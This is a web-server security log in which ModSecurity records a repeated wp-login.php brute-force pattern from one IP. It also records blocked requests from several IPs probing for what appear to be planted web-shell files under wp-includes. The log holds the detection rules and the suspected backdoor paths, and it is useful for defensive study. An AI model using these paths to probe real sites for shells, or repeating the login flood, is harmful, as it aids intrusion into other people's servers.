[Fri Feb 27 10:19:03.220653 2026] [:error] [pid 54231:tid 54251] [client 45.141.233.210:52667] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD_F-Tvb5AeyJCdY7BHqQAAAFE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:19:06.362870 2026] [:error] [pid 54231:tid 54249] [client 45.141.233.210:52667] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD_GuTvb5AeyJCdY7BHrAAAAE8"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:19:07.739069 2026] [:error] [pid 54231:tid 54250] [client 45.141.233.210:52667] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD_G-Tvb5AeyJCdY7BHrQAAAFA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:19:10.656516 2026] [:error] [pid 54231:tid 54246] [client 45.141.233.210:52667] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD_HuTvb5AeyJCdY7BHsAAAAEw"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:19:12.102906 2026] [:error] [pid 54231:tid 54257] [client 45.141.233.210:52667] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD_IOTvb5AeyJCdY7BHswAAAFc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:19:15.034984 2026] [:error] [pid 54231:tid 54244] [client 45.141.233.210:52667] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD_I-Tvb5AeyJCdY7BHvAAAAEo"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:19:16.456188 2026] [:error] [pid 54231:tid 54249] [client 45.141.233.210:52667] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD_JOTvb5AeyJCdY7BHvwAAAE8"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:19:19.380687 2026] [:error] [pid 54231:tid 54253] [client 45.141.233.210:52667] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD_J-Tvb5AeyJCdY7BHxwAAAFM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:19:20.788637 2026] [:error] [pid 54231:tid 54241] [client 45.141.233.210:52667] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD_KOTvb5AeyJCdY7BHyQAAAEc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:19:23.631842 2026] [:error] [pid 54231:tid 54251] [client 45.141.233.210:52667] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD_K-Tvb5AeyJCdY7BHzQAAAFE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:19:24.932506 2026] [:error] [pid 54231:tid 54240] [client 45.141.233.210:52667] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD_LOTvb5AeyJCdY7BHzgAAAEY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:19:27.815565 2026] [:error] [pid 54231:tid 54239] [client 45.141.233.210:52667] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD_L-Tvb5AeyJCdY7BH0gAAAEU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:19:29.150114 2026] [:error] [pid 54231:tid 54249] [client 45.141.233.210:52667] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD_MeTvb5AeyJCdY7BH1QAAAE8"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:19:32.009321 2026] [:error] [pid 54231:tid 54258] [client 45.141.233.210:52667] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD_NOTvb5AeyJCdY7BH3wAAAFg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:19:33.438409 2026] [:error] [pid 54231:tid 54254] [client 45.141.233.210:52667] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD_NeTvb5AeyJCdY7BH4wAAAFQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:19:36.809144 2026] [:error] [pid 54231:tid 54244] [client 45.141.233.210:52667] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD_OOTvb5AeyJCdY7BH7QAAAEo"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:19:38.322755 2026] [:error] [pid 54231:tid 54240] [client 45.141.233.210:52667] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD_OuTvb5AeyJCdY7BH7wAAAEY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:19:41.401365 2026] [:error] [pid 54231:tid 54255] [client 45.141.233.210:52667] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD_PeTvb5AeyJCdY7BH9gAAAFU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:19:42.866329 2026] [:error] [pid 54231:tid 54235] [client 45.141.233.210:52667] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD_PuTvb5AeyJCdY7BH-QAAAEE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:19:45.930601 2026] [:error] [pid 54231:tid 54237] [client 45.141.233.210:52667] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD_QeTvb5AeyJCdY7BH-wAAAEM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:19:47.326548 2026] [:error] [pid 54231:tid 54253] [client 45.141.233.210:52667] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD_Q-Tvb5AeyJCdY7BH_QAAAFM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:19:50.130453 2026] [:error] [pid 54231:tid 54258] [client 45.141.233.210:52667] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD_RuTvb5AeyJCdY7BH_wAAAFg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:19:51.447327 2026] [:error] [pid 54231:tid 54245] [client 45.141.233.210:52667] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD_R-Tvb5AeyJCdY7BIAwAAAEs"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:19:54.300176 2026] [:error] [pid 54231:tid 54243] [client 45.141.233.210:52667] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD_SuTvb5AeyJCdY7BIEgAAAEk"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:19:55.799082 2026] [:error] [pid 54231:tid 54250] [client 45.141.233.210:52667] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD_S-Tvb5AeyJCdY7BIFgAAAFA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:19:58.721947 2026] [:error] [pid 54231:tid 54249] [client 45.141.233.210:52667] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD_TuTvb5AeyJCdY7BIGgAAAE8"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:20:00.143326 2026] [:error] [pid 54231:tid 54244] [client 45.141.233.210:52667] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD_UOTvb5AeyJCdY7BIGwAAAEo"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:20:03.268101 2026] [:error] [pid 54231:tid 54236] [client 45.141.233.210:52667] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD_U-Tvb5AeyJCdY7BIJAAAAEI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:20:04.678331 2026] [:error] [pid 54231:tid 54239] [client 45.141.233.210:52667] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD_VOTvb5AeyJCdY7BIJgAAAEU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:20:07.611165 2026] [:error] [pid 54231:tid 54234] [client 45.141.233.210:52667] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD_V-Tvb5AeyJCdY7BILAAAAEA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:20:09.015837 2026] [:error] [pid 54231:tid 54244] [client 45.141.233.210:52667] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD_WeTvb5AeyJCdY7BILwAAAEo"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:20:12.015916 2026] [:error] [pid 54231:tid 54236] [client 45.141.233.210:52667] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD_XOTvb5AeyJCdY7BIOAAAAEI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:20:13.406347 2026] [:error] [pid 54231:tid 54257] [client 45.141.233.210:52667] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD_XeTvb5AeyJCdY7BIOgAAAFc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:20:16.389293 2026] [:error] [pid 54231:tid 54242] [client 45.141.233.210:52667] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD_YOTvb5AeyJCdY7BIRQAAAEg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:20:17.823581 2026] [:error] [pid 54231:tid 54255] [client 45.141.233.210:52667] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD_YeTvb5AeyJCdY7BISgAAAFU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:20:20.770061 2026] [:error] [pid 54231:tid 54248] [client 45.141.233.210:52667] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD_ZOTvb5AeyJCdY7BIVAAAAE4"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:20:22.143794 2026] [:error] [pid 54231:tid 54239] [client 45.141.233.210:52667] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD_ZuTvb5AeyJCdY7BIVgAAAEU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:20:24.999505 2026] [:error] [pid 54231:tid 54251] [client 45.141.233.210:52667] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD_aOTvb5AeyJCdY7BIWwAAAFE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:20:26.279818 2026] [:error] [pid 54231:tid 54237] [client 45.141.233.210:52667] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD_auTvb5AeyJCdY7BIXAAAAEM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:20:29.116731 2026] [:error] [pid 54231:tid 54240] [client 45.141.233.210:52667] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD_beTvb5AeyJCdY7BIYQAAAEY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:20:30.501288 2026] [:error] [pid 54231:tid 54256] [client 45.141.233.210:52667] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD_buTvb5AeyJCdY7BIYgAAAFY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:20:33.370733 2026] [:error] [pid 54231:tid 54248] [client 45.141.233.210:52667] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD_ceTvb5AeyJCdY7BIZgAAAE4"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:20:34.886879 2026] [:error] [pid 54231:tid 54239] [client 45.141.233.210:52667] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD_cuTvb5AeyJCdY7BIaQAAAEU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:20:37.905869 2026] [:error] [pid 54231:tid 54249] [client 45.141.233.210:52667] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD_deTvb5AeyJCdY7BIcwAAAE8"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:20:39.316574 2026] [:error] [pid 54231:tid 54254] [client 45.141.233.210:52667] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD_d-Tvb5AeyJCdY7BIeQAAAFQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:20:42.196235 2026] [:error] [pid 54231:tid 54245] [client 45.141.233.210:52667] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD_euTvb5AeyJCdY7BIfQAAAEs"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:20:43.554424 2026] [:error] [pid 54231:tid 54241] [client 45.141.233.210:52667] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD_e-Tvb5AeyJCdY7BIgQAAAEc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:20:46.358872 2026] [:error] [pid 54231:tid 54235] [client 45.141.233.210:52667] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD_fuTvb5AeyJCdY7BIgwAAAEE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:20:47.680206 2026] [:error] [pid 54231:tid 54258] [client 45.141.233.210:52667] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD_f-Tvb5AeyJCdY7BIhAAAAFg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:20:51.984120 2026] [:error] [pid 54231:tid 54256] [client 45.141.233.210:52667] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD_g-Tvb5AeyJCdY7BIiQAAAFY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 11:02:06.230482 2026] [:error] [pid 54101:tid 54132] [client 64.64.108.37:60455] [client 64.64.108.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/chosen.php"] [unique_id "aaEJLlY5qgRktcYTGFvRBgAAAdg"]
[Fri Feb 27 11:02:07.175596 2026] [:error] [pid 54231:tid 54236] [client 64.64.108.41:43415] [client 64.64.108.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/chosen.php"] [unique_id "aaEJL-Tvb5AeyJCdY7BbowAAAEI"]
[Fri Feb 27 11:02:08.089709 2026] [:error] [pid 54103:tid 54181] [client 64.64.108.54:52363] [client 64.64.108.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/pomo/wp-conflg.php"] [unique_id "aaEJMOvG4MPCmE0B2sAWAgAAAMo"]
[Fri Feb 27 11:02:13.850152 2026] [:error] [pid 54103:tid 54182] [client 64.64.108.50:49137] [client 64.64.108.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/certificates/chosen.php"] [unique_id "aaEJNevG4MPCmE0B2sAWLAAAAMs"]
